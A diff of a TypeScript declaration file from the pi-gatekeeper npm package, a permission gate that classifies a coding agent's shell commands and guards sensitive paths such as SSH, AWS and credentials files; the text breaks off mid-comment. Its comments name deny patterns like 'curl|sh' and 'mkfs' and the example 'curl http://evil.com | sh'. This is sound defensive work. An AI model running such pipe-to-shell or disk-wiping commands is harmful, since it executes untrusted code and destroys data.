@wernerbisschoff/pi-gatekeeper 0.1.1

package/dist/gatekeeper.d.ts

@@ -0,0 +1,621 @@
+/**
+ * Pi/OMP extension entry point — Phase 3 of the Foundation shard.
+ *
+ * Implements the persistence lifecycle helpers (`getRulesPath`,
+ * `loadDefaultRules`, `bootstrapRules`, `loadRules`) called by the
+ * `session_start` wiring and the `/perm` slash command in later tasks.
+ * The full entry-point shell (slash command, CLI flag, status wiring,
+ * `cycleMode`/`setMode`/`showAllowlist`) arrives in TSK-001-08.
+ *
+ * Source of truth:
+ * - tasks.md TSK-001-03 (bootstrap / lifecycle loader)
+ * - data-model.md:177-228 (PermissionLevel / LevelRules / PermissionRules shapes)
+ * - constitution.md §1.1 (single-module extension boundary)
+ * - constitution.md §1.2 (flat-file persistence under ~/.pi/agent/)
+ * - constitution.md §1.4 (deny-by-default safety floor)
+ * - plan.md Phase 3 (rules path + atomic bootstrap implementation strategy)
+ */
+import type { ExtensionAPI, ExtensionContext } from "@earendil-works/pi-coding-agent";
+/** ─── Persistence Schema (mirrors `data-model.md:177-208`) ─── */
+export type PermissionLevel = "low" | "medium" | "high";
+/**
+ * Runtime permission level — narrows to {@link PermissionLevel} for persisted/legal modes
+ * and adds `"off"` as the runtime-only escape hatch documented in spec.md FLOW-06. Used by
+ * internal call sites that consult `currentMode` before the OFF bypass (e.g.
+ * {@link runPermissionGate} step (1)) so the wider domain is named at the alias site rather
+ * than repeated as an inline `| "off"` union with a forced cast at each consumer.
+ */
+export type RuntimePermissionLevel = PermissionLevel | "off";
+export interface LevelRules {
+    deny: string[];
+    allow: string[];
+    ask: string[];
+}
+export interface PermissionRules {
+    version: number;
+    currentMode: PermissionLevel | null;
+    rules: {
+        low: LevelRules;
+        medium: LevelRules;
+        high: LevelRules;
+    };
+}
+/**
+ * Outcome of classifying a single shell segment (or the union of segments in a compound command).
+ * Ephemeral — one per evaluation, never persisted. The `reason` field is the human-readable explanation
+ * the prompt system (ISS-005) renders verbatim for the per-segment preview and that downstream callers
+ * surface in status output (FLOW-07). Shape mirrors `data-model.md:85-96` (PermissionDecision table) and
+ * `data-model.md:218-221` (the `interface PermissionDecision` definition).
+ */
+export type PermissionDecision = {
+    decision: "allow" | "ask" | "deny";
+    reason: string;
+};
+/** ─── Sensitive Path Guard (compile-time, not user-configurable) ─── */
+/**
+ * Compile-time regex pattern + human-readable label for a sensitive path category.
+ * Consumed by {@link isSensitivePath} to classify paths before the `read` / `edit` /
+ * `write` tool call is dispatched. SensitivePath is intentionally compile-time (not
+ * user-configurable) because it's a cross-cutting security guard that runs in every
+ * permission mode — see `data-model.md:113-125` and `architecture.md:138-147`.
+ */
+export interface SensitivePath {
+    readonly pattern: RegExp;
+    readonly label: SensitivePathLabel;
+}
+/**
+ * Stable label catalogue — single source of truth for the AC-007-XX reason strings.
+ * A future rename propagates from this constant to every catalog entry below and the
+ * corresponding `ctx.ui.notify` reason in `sensitivePathToolCallHandler` (Phase 2). The
+ * values are pinned by the `isSensitivePath — pattern catalog` describe in
+ * `test/sensitive-path.test.ts`.
+ */
+declare const LABELS: {
+    readonly ENV: "Environment file";
+    readonly SSH: "SSH directory";
+    readonly AWS: "AWS directory";
+    readonly GNUPG: "GnuPG directory";
+    readonly KUBE: "Kubernetes directory";
+    readonly CRYPTO: "Crypto material";
+    readonly CREDS: "Credentials file";
+    readonly NPM: "npm config";
+    readonly PYPI: "PyPI config";
+    readonly GIT_CREDS: "Git credentials";
+    readonly DOCKER: "Docker config";
+    readonly GH_HOSTS: "GitHub hosts config";
+};
+/**
+ * Union of all valid sensitive-path labels — derived from {@link LABELS} so adding
+ * a new entry to the catalogue automatically propagates here with no separate
+ * "valid labels" list to maintain. {@link SENSITIVE_PATHS} uses this in place of
+ * `string` so a typo in a catalog entry fails at compile time, and {@link isSensitivePath}
+ * returns `SensitivePathLabel | ""` so consumers get type-safe label access (no arbitrary
+ * `string`). Pinned by the `isSensitivePath — pattern catalog` describe's `expect(...).label`
+ * literal-string assertions.
+ */
+export type SensitivePathLabel = (typeof LABELS)[keyof typeof LABELS];
+/**
+ * Compile-time catalog of sensitive path patterns. Iteration order matters:
+ * {@link isSensitivePath} uses an early-return `for...of` so the FIRST matching entry
+ * wins. The catalog is intentionally permissive — a `.ssh/` literal anywhere in the
+ * path matches so `~/.ssh/`, `/Users/<who>/.ssh/`, `/home/<who>/.ssh/`, and even
+ * `/srv/.ssh/` are all flagged (the latter is permissive by design — see
+ * `tasks.md TSK-006-01 "Edge Cases"`). Reorder the array only with a corresponding
+ * update to the `first-match-wins` test in `test/sensitive-path.test.ts`.
+ */
+export declare const SENSITIVE_PATHS: readonly SensitivePath[];
+/**
+ * Skill-script short-circuit pattern — matches a `.sh` file directly under `/skills/`
+ * (single-segment form). `/skills/sub/dir.sh` (nested) does NOT match because
+ * `[^/]+` excludes `/`. Per US-021, the sensitive-path `tool_call` handler (Phase 2)
+ * short-circuits on this pattern BEFORE the {@link SENSITIVE_PATHS} scan so a skill
+ * script whose filename would otherwise match (e.g. `/skills/.env-helper.sh`) still
+ * passes through.
+ */
+export declare const SKILL_SCRIPT_PATTERN: RegExp;
+/**
+ * Classify `path` against the {@link SENSITIVE_PATHS} catalog. Returns the FIRST
+ * matching entry's `label` (first-match-wins via the catalog's documented iteration
+ * order). Performance is O(1) per call: the regexes are compiled once at module
+ * load, so `.test(path)` is the only per-call cost (O(n) where n is `path.length`).
+ * Returns `{ match: false, label: "" }` when no pattern matches — the empty string
+ * is the sentinel "no-match" label and is excluded from the {@link SensitivePathLabel}
+ * union, so consumers can branch on `match` instead of inspecting the label.
+ */
+export declare function isSensitivePath(path: string): {
+    match: boolean;
+    label: SensitivePathLabel | "";
+};
+/**
+ * Public persistence write surface — the single boundary that owns atomic
+ * rename + best-effort error handling for `perm-rules.json`.
+ *
+ * Contract:
+ *   - Creates the parent directory recursively with `mode: 0o700` so the
+ *     Sensitive Path Guard's directory-permission policy (matches
+ *     {@link getRulesPath}) is honoured on first write into a fresh
+ *     `~/.pi/agent/` tree. `mkdirSync({ recursive: true })` is a no-op when
+ *     the directory already exists, so re-writes never loosen or tighten an
+ *     existing directory's permissions.
+ *   - Writes the payload to `<filePath>.tmp` then `renameSync`s it into
+ *     place — the atomic-rename pattern prevents partial writes from
+ *     corrupting an otherwise-valid rules file (RSK-009 mitigation).
+ *   - Best-effort error handling: any failure (EACCES, EROFS, ENOSPC,
+ *     ENOENT for an unwritable parent, etc.) is caught. When `ctx` is
+ *     provided, the failure surfaces through `ctx.ui.notify` at `"warning"`
+ *     level. When `ctx` is undefined the failure is silently swallowed —
+ *     the caller's in-memory mutation already landed and the next session
+ *     resumes from the last successfully persisted state.
+ *
+ * Flow references: FLOW-05 (level cycles and persists), FLOW-08 (Allow
+ * Always writes the persistent per-level JSON).
+ */
+export declare function saveRules(filePath: string, payload: PermissionRules, ctx?: ExtensionContext): void;
+/** ─── Persistence lifecycle helpers (under test) ─── */
+/**
+ * Resolve the absolute path of the persisted rules file.
+ *
+ * Creates `~/.pi/agent/` with `mode: 0o700` ONLY when the directory does not
+ * already exist — `mkdirSync({ recursive: true })` skips creation (and
+ * permission tightening) for an existing directory. This means a directory
+ * previously created by another tool or installer with broader permissions
+ * is left untouched and cannot be retroactively narrowed from this helper.
+ *
+ * The 0o700 target honors the process umask (so the effective mode may be
+ * narrower than 0o700 on systems with a tighter umask, but never broader).
+ * The intent is to match the Sensitive Path Guard's directory-permission
+ * policy from ISS-006 so the directory is never world-readable when this
+ * extension creates it from a clean slate.
+ */
+export declare function getRulesPath(): string;
+/**
+ * Load the bundled `src/default-rules.json` payload. Read-only asset shipped
+ * inside the npm tarball. Throws if the asset is missing — fail loud per
+ * Constitution §1.4 rather than silently substituting a build-time string.
+ */
+export declare function loadDefaultRules(): PermissionRules;
+/**
+ * Public bootstrap helper — the pre-TSK-004-02 single-path entry point that always boots at `getRulesPath()`.
+ * Retained as a thin wrapper over {@link bootstrapRulesAt} so foundation tests (which do not exercise the
+ * extended `filePath` parameter) keep their call surface, and so future ISS-001 callers can request a
+ * bootstrap against the canonical home without re-deriving the path.
+ */
+export declare function bootstrapRules(): PermissionRules;
+/**
+ * Load rules from disk; surface malformed state via `ctx.ui.notify` and fall back to the bundled
+ * defaults OR the per-ctx last-valid cache (whichever is available), leaving the on-disk file
+ * untouched so the developer can inspect or hand-correct it.
+ *
+ * Contract (extended by TSK-004-02 — FR-011 / AC-011-02):
+ *   - `filePath` is OPTIONAL: when omitted, the loader reads from `getRulesPath()` (preserves pre-TSK-004-02
+ *     callers like `sessionStartHandler`). When provided, the loader reads from `filePath` and skips
+ *     `getRulesPath()` entirely — persistence tests use this seam to drive the loader against an
+ *     isolated `os.tmpdir()`-backed path without coupling to `os.homedir()`.
+ *   - ENOENT (file missing at `targetPath`) → `bootstrapRulesAt(targetPath)` — atomically create the file
+ *     with bundled defaults at the SAME path the caller asked for, populate the per-ctx cache with the
+ *     bootstrapped payload, and return it. The bootstrap is silent (no notify).
+ *   - `JSON.parse` throws (truncated payload, stray characters, etc.) → `handleMalformedFallback(ctx)` —
+ *     notify at `"warning"` level, return the per-ctx cached payload if hot, otherwise bundled defaults.
+ *   - Valid JSON but invalid shape (`null`, primitives, arrays, missing fields) → same fallback as the
+ *     `JSON.parse` throw branch. Both branches share the same single-line `return handleMalformedFallback(ctx)`
+ *     idiom so the read/parse/shape pipeline reads as a uniform success-or-fallback ladder.
+ *   - Valid payload → populate BOTH `rules` and the per-ctx `lastValidRulesByCtx` cache, return parsed.
+ *
+ * On the malformed-file path the on-disk bytes are NEVER overwritten so the developer can inspect or
+ * hand-correct the file. The two-branch fallback (FR-011 / AC-011-02) preserves FLOW-10 cascade
+ * integrity: a developer's curated per-level deny/allow/ask appends survive a transient malformed edit.
+ */
+export declare function loadRules(ctx: ExtensionContext, filePath?: string): PermissionRules;
+/**
+ * Read the active permission level. Stable surface for downstream shards (ISS-003 classifier,
+ * ISS-005 prompt system) that need to consult the level without going through `updateStatus`.
+ */
+export declare function getCurrentMode(): PermissionLevel;
+/**
+ * Write the active permission level. Used by the foundation tests to drive `updateStatus`
+ * with different levels without going through the full `loadRules` bootstrap path. In
+ * production, `cycleMode` / `setMode` / `applyFlagOverride` (TSK-001-06, TSK-001-05) mutate
+ * the binding directly from inside the module.
+ *
+ * Also clears the ephemeral and session allow sets so test isolation (each `it(...)` starts with
+ * a fresh module-level state) matches the production lifecycle: a mode change is a fresh permission
+ * context, so any "Allow Once" or "Allow This Session" unlocks from the prior level are dropped.
+ * The single-source-of-truth clear path is `sessionStartHandler` for production; `setCurrentMode`
+ * mirrors it for the test-only mode-switch surface so Vitest's per-file isolation is honoured
+ * within a single file.
+ */
+export declare function setCurrentMode(value: PermissionLevel): void;
+/**
+ * Reserved TUI footer status key for the permission level indicator. Ownership is contractually
+ * pinned by `architecture.md:157` — no other extension may write to this key, otherwise the level
+ * indicator on the TUI footer could be shadowed by a colliding third-party status widget.
+ */
+export declare const PERMISSION_STATUS_KEY = "perm";
+/**
+ * TUI footer labels keyed by PermissionLevel. Specific emoji + label pairs are
+ * documented in AC-010-01 / AC-010-02
+ * (`specs/001-pi-gatekeeper/issues/001-foundation-packaging.md:33`):
+ *   - `low`    → `🟢 LOW`     (green circle = restricted/safe)
+ *   - `medium` → `🟡 MEDIUM`  (yellow circle = balanced)
+ *   - `high`   → `🟠 HIGH`    (orange circle = permissive/warning)
+ * The status key (`PERMISSION_STATUS_KEY`) is reserved by `architecture.md:157` — no other extension
+ * may write to it (otherwise the level indicator could be shadowed on the TUI footer).
+ */
+export declare const MODE_LABELS: Record<PermissionLevel, string>;
+/**
+ * Render the active permission level into the TUI footer via `ctx.ui.setStatus(...)` using the
+ * reserved `PERMISSION_STATUS_KEY`. The custom footer extension (`footer.ts`) reads the
+ * `~/.pi/agent/perm-mode` file directly and overlays the circle indicator (🟢/🟡/🟠) in the
+ * bottom powerline bar — so the `setStatus` call here serves as the fallback for built-in
+ * footer mode and as a data source for any extension that reads status keys directly.
+ *
+ * Synchronous — FLOW-05's `level_change_latency_ms` metric (<=100 ms) is satisfied because
+ * the call is a single in-process mutation. The full session_start wiring that invokes this
+ * helper (`loadRules -> set currentMode -> updateStatus`) lands in TSK-001-08; here we only
+ * define the primitive so it is independently testable.
+ */
+export declare function updateStatus(ctx: ExtensionContext): void;
+/** ─── CLI Flag Override (TSK-001-05) ─── */
+/**
+ * Canonical name of the `--perm-mode` CLI flag. Exported so TSK-001-08's `pi.registerFlag(...)`
+ * call uses the same identifier that `applyFlagOverride` reads via `pi.getFlag(...)` — prevents
+ * drift if the flag is ever renamed. Mirrors the `PERMISSION_STATUS_KEY` pattern from TSK-001-04.
+ */
+export declare const PERM_MODE_FLAG_NAME = "perm-mode";
+/**
+ * Reconcile `currentMode` from the most authoritative available source, in priority order:
+ *   1. CLI flag (`pi.getFlag(PERM_MODE_FLAG_NAME)`) — only strict-equal values in
+ *      {@link VALID_MODES} are accepted; anything else falls through to step 2.
+ *   2. Persisted `perm-rules.json` — read once via {@link readCurrentModeFromDisk}, never written.
+ *   3. In-memory `currentMode` — preserved when both above are unavailable.
+ *
+ * The persisted file is intentionally NOT rewritten (AC-001-03: "overrides persisted mode without
+ * modifying the file") so the override is per-session — the next session resumes at whatever the
+ * persisted mode was before this launch.
+ *
+ * The `pi.registerFlag(PERM_MODE_FLAG_NAME, ...)` registration call itself is deferred to
+ * TSK-001-08 (entry-point wiring) — this helper only CONSUMES the flag value, never registers it.
+ */
+export declare function applyFlagOverride(pi: ExtensionAPI): void;
+/** ─── Mode Transition (TSK-001-06) ─── */
+/**
+ * Advance the active permission level to the next entry in the cycle `low → medium → high → low`,
+ * persist the new `currentMode` to `~/.pi/agent/perm-rules.json`, and re-render the status indicator.
+ * Surface contract:
+ *   - Mutates module-level `currentMode` per the cycle order.
+ *   - Persists `currentMode` to the on-disk file so the next session resumes at the new level
+ *     (AC-001-02 contract).
+ *   - Calls `ctx.ui.setStatus("perm", MODE_LABELS[currentMode])` synchronously so FLOW-05's
+ *     `level_change_latency_ms` ≤ 100 ms metric holds (no deferred `setTimeout`).
+ *   - If `perm-rules.json` has not yet been bootstrapped (caller invoked the helper before
+ *     `session_start` completed), persistence is silently skipped — the in-memory mutation and
+ *     TUI update still fire so the cycle is always observable.
+ *
+ * Flow references: FLOW-05 Happy-Path Steps 2 + 3 (level cycles and status indicator updates).
+ */
+export declare function cycleMode(ctx: ExtensionContext): void;
+export declare function setMode(value: string, ctx: ExtensionContext): void;
+/**
+ * Render the current permission ruleset for the developer to inspect / copy into their editor.
+ * Backs the `/perm allowlist` (and `/perm list`) subcommand per FR-013.
+ *
+ * Two output paths:
+ *   - **File missing** (first run, manual cleanup, etc.) → notify with the expected path AND the
+ *     "default rules in effect" annotation. AC-013-03 contract: even when the file does not exist
+ *     the developer can still copy the expected path into their editor. The cache (`rules`) is
+ *     allowed to be null in this branch — the file-not-found check is the source of truth so the
+ *     handler is robust against pre-`session_start` invocation.
+ *   - **File present** → render the multi-line breakdown: resolved `Path:`, active `Mode:`, and
+ *     the per-level `Deny:`, `Allow:`, `Ask:` arrays JSON-serialised so the developer can paste
+ *     them straight into the file. The `Allow:` / `Ask:` labels are surfaced even when the
+ *     arrays are empty (`[]`) so the structural tuple is unambiguous (AC-013-02).
+ *
+ * `notify` is always called at the `"info"` level — the discovery output is informational, never
+ * alarming. The level is pinned by the AC-013 tests.
+ *
+ * Flow references: FLOW-09 Step 1 (developer resolves the permission file path). The
+ * edit-and-reload half of FLOW-09 (Steps 2-3) is deferred to ISS-004.
+ */
+export declare function showAllowlist(ctx: ExtensionContext): void;
+/**
+ * Handler for the `/perm` slash command — the user-visible surface for FLOW-05 (mode switching)
+ * and FLOW-09 (manual rules discovery). The branching is strict and exhaustive:
+ *
+ *   1. Trim + lowercase the args (case-insensitive matching — accidental Shift-key capitalization
+ *      on a developer-typed surface must not fail).
+ *   2. Iterate {@link PERM_DISPATCH} in declaration order; the first entry whose literal set
+ *      contains the normalised args fires its action and returns.
+ *   3. If no entry matches → `ctx.ui.notify` at `"warning"` level (deny-by-default UX per
+ *      Constitution §1.4 — silent no-ops would mask typos like `/prem` or `/permission`).
+ *
+ * Subcommand literals are co-located in {@link PERM_SUBCOMMANDS} for greppability and to make a
+ * future rename / new level a single-edit change.
+ *
+ * **Ownership invariant**: this function does NOT call any `pi.register*` method. Registration of
+ * `/perm` is owned by TSK-001-08's entry-point wiring — moving the call here would cause TSK-001-08
+ * to double-register and Pi/OMP to throw on the duplicate. The companion test
+ * `flow anchor: permCommandHandler does NOT register any ExtensionAPI surface` pins this.
+ */
+export declare function permCommandHandler(args: string, ctx: ExtensionContext): Promise<void>;
+/** ─── Shell Segment Parser (TSK-002-01 + TSK-002-02) ─── */
+/**
+ * A single command surface as classified by the gatekeeper. Phase 1 models a segment as a plain string;
+ * subsequent TDD tasks (TSK-002-03..06) may extend this with structural metadata (extracted substitution
+ * content, quoted-region markers) without changing the public return type's surface compatibility.
+ */
+export type ShellSegment = string;
+/** ─── Command Classifier and Cascade Resolver (ISS-003) ─── */
+/**
+ * The cascade walker introduced in TSK-003-02 reuses the module-level `VALID_MODES` tuple at
+ * `src/gatekeeper.ts:81` as its level-order traversal array (low → medium → high for DOWN walks,
+ * high → medium → low for UP walks). The tuple is the single source of truth for the level set —
+ * the cascade walker MUST reference it instead of redeclaring `["low", "medium", "high"]` so a
+ * future level rename propagates from one edit to every walker site.
+ */
+/**
+ * Convert a glob pattern (literal text with `*` wildcards) into an anchored RegExp.
+ *
+ * Algorithm:
+ * 1. Escape every regex metacharacter in `pattern` (excluding `*`), so a pattern like
+ * `curl|sh` becomes `curl\|sh` rather than being interpreted as alternation.
+ * 2. Substitute the now-escaped `\*` (which originated from a literal `*` in the input)
+ * with `.*`, so a single `*` matches any run of characters.
+ * 3. Anchor the resulting source with `^...$` so the match is a full-string match,
+ * never a substring match.
+ *
+ * Source anchor: `data-model.md:44-52` (literal / prefix / suffix / middle / catch-all),
+ * `design.md` §"Pattern matching" decision (literal `|`, `&`, `;`, `$` are matched literally,
+ * not as shell operators).
+ *
+ * Exported so tests can assert the regex shape directly (e.g. that the result is anchored,
+ * that wildcards produce `.*`, and that regex metachars in the literal portion are escaped).
+ */
+export declare function globToRegex(pattern: string): RegExp;
+/** Full-string anchored glob match (never substring); case-sensitive. Wraps {@link globToRegex}. */
+export declare function matchGlob(pattern: string, input: string): boolean;
+/**
+ * Public thin wrapper over {@link findFirstMatch}. Preserves the historic return shape
+ * (`{ matched: true, pattern }` on hit; `{ matched: false }` on miss with no `pattern`
+ * field) used by external callers and regression tests in `test/classifier.test.ts`.
+ * The walker logic itself lives in `findFirstMatch` so cascade walkers,
+ * explicit-pass evaluation, and the public API all share one iteration primitive.
+ *
+ * Implements `data-model.md:61` first-match-wins semantics — an earlier literal pattern in
+ * the list wins over a later wildcard even when both would match.
+ *
+ * Source anchor: `tasks.md` TSK-003-01 (matchSegmentAgainstList contract).
+ */
+export declare function matchSegmentAgainstList(segment: string, patterns: readonly string[]): {
+    matched: boolean;
+    pattern?: string;
+};
+/**
+ * Cascade resolver for a single shell segment. Implements `data-model.md:347-352`
+ * (allow cascades DOWN through lower levels, deny cascades UP through higher levels,
+ * explicit per-level rules override cascade-inherited decisions, default `ask`).
+ *
+ * Algorithm (four stops, fixed order, each delegated to a named helper):
+ *  1. {@link evaluateExplicit} — deny → allow → ask at `mode`, first-match-wins.
+ *  2. {@link walkCascadeDownForAllow} — visit lower-indexed levels' allow lists (allow cascades DOWN).
+ *  3. {@link walkCascadeUpForDeny} — visit higher-indexed levels' deny lists (deny cascades UP).
+ *  4. Default ask when every cascade stop exhausts without a match.
+ *
+ * Level-order tuple reused from the module-level `VALID_MODES` (`src/gatekeeper.ts:81`),
+ * the single source of truth for the level set; the walker references the tuple instead of
+ * redeclaring `["low", "medium", "high"]` so a future mode rename propagates from one edit.
+ *
+ * Source anchor: `tasks.md` TSK-003-02 (classifySegment contract),
+ * `data-model.md:347-352` (cascade algorithm), `data-model.md:60-64` (cascade semantics),
+ * `constitution.md §1.5` (cascade direction).
+ *
+ * @requires mode !== "off" — the Off-mode bypass lives above this resolver in the bash tool
+ *           handler (ISS-005); `classifySegment` is not invoked with `mode === "off"` and the
+ *           `PermissionLevel` type excludes `"off"` from its union.
+ */
+export declare function classifySegment(segment: string, mode: PermissionLevel, rules: PermissionRules): PermissionDecision;
+/**
+ * Loose matcher used exclusively by {@link classifyCommand}'s ALWAYS_DENY pre-check. Differs from
+ * {@link matchGlob} in two important ways so cross-segment attack patterns like `curl|sh` are
+ * caught before per-segment evaluation:
+ *
+ *  1. **Substring semantics** — the pattern matches anywhere in the input rather than requiring
+ *     a full-string anchored match. This is what allows `mkfs` (a literal pattern with no
+ *     wildcards) to match `mkfs /dev/sda1` (the input has trailing arguments after `mkfs`).
+ *     Without substring semantics, a literal `mkfs` pattern would only match the exact string
+ *     `mkfs`, missing every realistic invocation. The per-segment matcher in
+ *     {@link classifySegment} retains anchored semantics for cascade-correctness — this looser
+ *     matcher is reserved for the cross-segment safety floor.
+ *  2. **`|` is treated as a wildcard** — the `|` character in a pattern is interpreted as
+ *     `.*` (matching any run of characters) rather than as a literal pipe. This is what allows
+ *     the pattern `curl|sh` to match the input `curl http://evil.com | sh`: the `|` in the
+ *     pattern consumes ` http://evil.com ` and the literals `curl` and `sh` bookend the
+ *     cross-segment pipe. `data-model.md:53` says literal `|` is matched as a literal character
+ *     for per-segment rules; this is the per-segment contract. The ALWAYS_DENY pre-check
+ *     deliberately uses the looser interpretation because the cross-segment attack patterns
+ *     (`curl|sh`, `wget|sh`) are written with `|` as a semantic "piped-to" marker, not as a
+ *     literal pipe character the user expects to match verbatim.
+ *
+ * Algorithm (mirrors {@link globToRegex} but with the two differences above):
+ *  1. Escape every regex metacharacter in `pattern` EXCEPT `*` and `|`.
+ *  2. Substitute `*` with `.*` and `|` with `.*`.
+ *  3. Wrap with `.*` on both sides and anchor with `^...$` — producing a substring match.
+ *
+ * Exported for testability so the loose semantics can be locked by future tests if needed.
+ */
+export declare function matchAlwaysDenyPattern(pattern: string, input: string): boolean;
+/**
+ * Top-level command classification pipeline. Implements FR-003 (Command Classifier) end-to-end:
+ *
+ *  1. ALWAYS_DENY pre-check — union of all three levels' `deny` lists matched against the FULL
+ *     command string. Catches cross-segment attack patterns like `curl|sh` that no per-segment
+ *     matcher could detect (per-segment evaluation would split `curl ... | sh` into
+ *     `["curl ...", "sh"]`, neither of which matches the literal `curl|sh`). When matched,
+ *     returns `{ decision: "deny", reason: "always-deny pattern: '<pattern>'" }` immediately —
+ *     no segment evaluation, no cascade walk.
+ *  2. Split — `splitShellSegments(command)` (ISS-002 parser), filtered to drop empty/whitespace
+ *     segments. If no segments remain (empty command, whitespace-only, operators-only with no
+ *     operands), return `{ decision: "ask", reason: "empty command" }`.
+ *  3. Per-segment classification — each surviving segment is classified via {@link classifySegment}.
+ *  4. Combined precedence — `deny > ask > allow` across segments per `architecture.md:46-47` and
+ *     `data-model.md:162`. The combined reason concatenates per-segment reasons with
+ *     `"segment N: <reason>; "` formatting so FLOW-07's prompt preview can attribute the decision
+ *     to the offending segment(s).
+ *
+ * Source anchor: `tasks.md` TSK-003-03 (`classifyCommand` pipeline), `data-model.md:397` (the
+ * classifyCommand block diagram), `architecture.md:46-47` (combined `deny > ask > allow`
+ * precedence), `constitution §1.4 v0.4.0` (ALWAYS_DENY union safety floor),
+ * `constitution §1.5` (cascade direction).
+ *
+ * @requires mode !== "off" — the Off-mode bypass lives above this resolver in the bash tool
+ *           handler (ISS-005); `classifyCommand` is not invoked with `mode === "off"` and the
+ *           `PermissionLevel` type excludes `"off"` from its union.
+ */
+export declare function classifyCommand(command: string, mode: PermissionLevel, rules: PermissionRules): PermissionDecision;
+export declare function splitShellSegments(cmd: string): ShellSegment[];
+/**
+ * True when `entry` is a leading-`/` or leading-`~` token with no shell metacharacters — i.e. the
+ * candidate is a pure file-system path rather than a compound command fragment. Used by
+ * {@link getAllowListEntries} to drop `/tmp/out` / `~/notes.md`-style entries from the prompt
+ * preview and the on-disk allowlist so a developer cannot accidentally approve only the file
+ * portion of `cat /tmp/output.txt`.
+ *
+ * Order of checks matters: the empty-string short-circuit returns `false` BEFORE the regex
+ * matches, so an empty entry never collides with the `/^[/~].*$/` anchor; the leading-`/` or
+ * leading-`~` check precedes the metachar scan so relative paths like `./foo.txt` or `foo/bar.txt`
+ * short-circuit to `false` without scanning for metachars.
+ *
+ * Source anchor: `architecture.md:152-163`, `data-model.md:177-228`.
+ */
+export declare function isBarePath(entry: string): boolean;
+/**
+ * Returns `true` when `segment` looks like a leading shell environment-variable assignment
+ * (`VAR=value`). Identifiers must start with `[a-zA-Z_]` and contain `[a-zA-Z0-9_]*` before
+ * the `=` — matching POSIX-shell env-assignment naming rules. The value portion is any string
+ * up to the next shell-operator boundary.
+ *
+ * This is a **syntactic** check; it does not validate that the value is well-formed (quoted,
+ * escaped, etc.) — the shell segment parser has already resolved quoting before we see the
+ * token.
+ */
+export declare function isEnvAssignment(segment: string): boolean;
+/**
+ * Strip one or more leading shell environment-variable assignments (`VAR=value`) from
+ * `command`. Only strips assignments that appear before the first non-assignment word,
+ * matching shell semantics where `VAR=val cmd` sets an env var for the command but
+ * `cmd VAR=val` passes `VAR=val` as a literal argument.
+ *
+ * Uses a word-level splitter ({@link splitShellWords}) that respects quotes, then drops
+ * leading words matching {@link isEnvAssignment}. The remaining command is reconstructed
+ * by joining the surviving words.
+ *
+ * **Contract:**
+ *   - `stripLeadingEnvAssignments("PLAN_TARGET=/tmp/foo ~/cmd.sh arg")`
+ *     → `"~/cmd.sh arg"`
+ *   - `stripLeadingEnvAssignments("A=1 B=2 echo hi")` → `"echo hi"`
+ *   - `stripLeadingEnvAssignments("echo A=1 B=2")` → `"echo A=1 B=2"`
+ *     (no leading assignments, unchanged)
+ *   - `stripLeadingEnvAssignments("")` → `""`
+ *   - `stripLeadingEnvAssignments("VAR='quoted val' cmd")` → `"cmd"`
+ *
+ * Pure function — no I/O, no side effects.
+ */
+export declare function stripLeadingEnvAssignments(command: string): string;
+/**
+ * Compute the list of entries that "Allow Always" will persist for `command`, in the
+ * AC-008-01-mandated order: **first non-bare segment, then full trimmed command, then remaining
+ * non-bare segments in parser order**. Bare-path entries are filtered by
+ * {@link isBarePath} so `/tmp/out` / `~/notes.md`-style tokens do not escape as standalone
+ * allowlist entries. Duplicates are removed with an order-preserving Set-then-spread pass so the
+ * "full + segments" formula collapses to a single entry when the full command equals the first
+ * segment (e.g. `echo hello` → `["echo hello"]`).
+ *
+ * **Ordering contract** (PRD AC-008-01 verbatim — pinned by `test/allowlist.test.ts`):
+ *   - `getAllowListEntries("npm install express && npm test")`
+ *     → `["npm install express", "npm install express && npm test", "npm test"]`
+ *   - `getAllowListEntries("a && b && c")` → `["a", "a && b && c", "b", "c"]`
+ *   - `getAllowListEntries("cat /tmp/output.txt")` → `["cat /tmp/output.txt"]`
+ *     (bare path inside the segment survives; the bare path as a standalone entry is filtered)
+ *   - `getAllowListEntries("echo hello")` → `["echo hello"]` (single segment, no dedup)
+ *   - `getAllowListEntries("npm test && npm test")` → `["npm test", "npm test && npm test"]`
+ *     (first-occurrence-wins dedup; duplicate segment removed, full compound preserved)
+ *
+ * Contract anchors:
+ *   - `data-model.md:177-228` (FR-008: allowlist entry computation)
+ *   - PRD AC-008-01 / AC-008-02 / AC-008-03 (`["npm install express", "npm install express && npm test", "npm test"]`)
+ *   - `architecture.md:152-163` (prompt preview ordering)
+ *
+ * Pure data transformation — no I/O, no `ExtensionContext`, no `os.homedir()` access. The
+ * empty-input early-return keeps dedup logic clean and matches PRD's "empty command → empty array"
+ * exception strategy.
+ */
+export declare function getAllowListEntries(command: string): string[];
+/**
+ * Add `command` to the in-memory ephemeral allow set so the next evaluation that matches the
+ * command returns `{ allow: true }` without consulting the classifier or showing a prompt. Consumed
+ * on the immediate next match (single-use) via {@link isEphemeralAllowed}. Exported so tests can
+ * seed the set directly without going through {@link runPermissionGate}.
+ */
+export declare function ephemeralAllow(command: string): void;
+/**
+ * Returns `true` exactly once for any command currently in the ephemeral allow set, removing the
+ * entry on the consuming read so the rule is single-use per FLOW-08 Happy-Path Step 1 ("Allow
+ * Once: rule held in memory; consumed on next match"). A second call with the same command
+ * returns `false` because the entry was drained on the first match.
+ */
+export declare function isEphemeralAllowed(command: string): boolean;
+/**
+ * Add `command` to the in-memory session allow set so every subsequent evaluation within this
+ * Pi/OMP session returns `{ allow: true }` without consulting the classifier or showing a prompt.
+ * Unlike {@link ephemeralAllow}, the entry persists for the session lifetime and is NOT consumed
+ * on match — the developer can reuse the command freely until restart.
+ * Exported so tests can seed the set directly without going through {@link runPermissionGate}.
+ */
+export declare function sessionAllow(command: string): void;
+/**
+ * Returns `true` for any command currently in the session allow set WITHOUT removing the entry,
+ * so the rule stays active for the rest of the session. A second call with the same command also
+ * returns `true` — the entry is cleared only by {@link sessionStartHandler} or
+ * {@link setCurrentMode}.
+ */
+export declare function isSessionAllowed(command: string): boolean;
+/**
+ * Four-branch permission gate — the user-visible keystone for FLOW-07 (interactive prompt),
+ * FLOW-08 (scope: ephemeral / persist-allow / persist-deny), and FLOW-11 (headless auto-deny).
+ *
+ * Pipeline:
+ *   1. Off-mode bypass (FLOW-06) — `currentMode === "off"` returns `{ allow: true }` immediately,
+ *      skipping both the classifier and the prompt. The type-checker treats `currentMode` as
+ *      `PermissionLevel` (excludes "off"); the test-only `setCurrentMode("off")` cast forces
+ *      "off" through, and the local alias `RuntimePermissionLevel` below widens the comparison
+ *      back without weakening any static surface.
